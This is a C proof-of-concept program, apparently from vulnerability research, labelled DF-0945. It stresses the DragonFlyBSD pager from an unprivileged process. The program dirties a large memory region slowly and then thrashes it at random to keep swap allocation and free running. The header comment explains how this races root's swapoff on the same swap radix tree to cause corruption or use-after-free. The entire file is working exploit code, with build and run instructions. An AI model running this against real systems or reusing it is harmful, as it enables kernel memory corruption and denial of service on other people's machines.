/*
 * stress.c - DF-0945 PoC: unprivileged pager stressor (slow-dirty + thrash).
 *
 * Phase 1: allocate a large anonymous region and dirty it SLOWLY (sequential,
 * ~1 page/us).  Slow dirtying gives the DragonFlyBSD page daemon time to push
 * the oldest pages to swap (driving swp_pager_getswapspace -> blist_allocat),
 * instead of the alternative (fast dirty -> pages freed before daemon runs ->
 * no swap activity at all).
 *
 * Phase 2: random-access thrash the region for the remaining time.  Each
 * random access may fault a swapped-out page -> page-in (swap block freed via
 * blist_free); the page daemon reclaims other pages -> swap-out (blist_allocat).
 * This creates continuous blist_allocat/blist_free activity on the global
 * swapblist tree while root's swapoff_one() concurrently calls blist_fill /
 * blist_resize on the SAME tree under only swap_mtx.  Neither lock nests the
 * other -> concurrent radix-tree mutation -> corruption / UAF.
 *
 * Build: cc -O2 -o stress stress.c
 * Run:   ./stress [total_mb] [seconds]
 */
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <time.h>

int
main(int argc, char **argv)
{
    size_t sz_mb = (argc > 1) ? (size_t)atol(argv[1]) : 3500;
    int    seconds = (argc > 2) ? atoi(argv[2]) : 300;
    size_t sz = sz_mb * 1024 * 1024;
    size_t pgsize = sysconf(_SC_PAGESIZE);
    size_t npages = sz / pgsize;
    time_t end = time(NULL) + seconds;
    volatile unsigned char sum = 0;

    srandom(getpid() ^ time(NULL));

    char *p = mmap(NULL, sz, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANON, -1, 0);
    if (p == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    /* Phase 1: slow sequential dirty. ~1 touch per microsecond gives the
     * page daemon (periodic scan) time to push older pages to swap. */
    fprintf(stderr, "[stress pid=%d] dirtying %zu MB slowly...\n",
            (int)getpid(), sz_mb);
    size_t i;
    for (i = 0; i < sz; i += pgsize) {
        p[i] = (unsigned char)(0xAB + ((i >> 12) & 0x3f));
        /* nanosleep-ish pause every 256 pages (~1us each) */
        if ((i & ((256 * 4096) - 1)) == 0)
            usleep(200);
    }
    fprintf(stderr, "[stress pid=%d] dirty done, thrashing for %d s\n",
            (int)getpid(), seconds);

    /* Phase 2: random-access thrash -> continuous page-in (blist_free) +
     * page-out (blist_allocat) on the global swapblist radix tree. */
    unsigned long n = 0;
    while (time(NULL) < end) {
        size_t off = ((size_t)random() % npages) * pgsize;
        sum += p[off];
        p[off] = (unsigned char)(sum + n);
        n++;
    }

    munmap(p, sz);
    return 0;
}
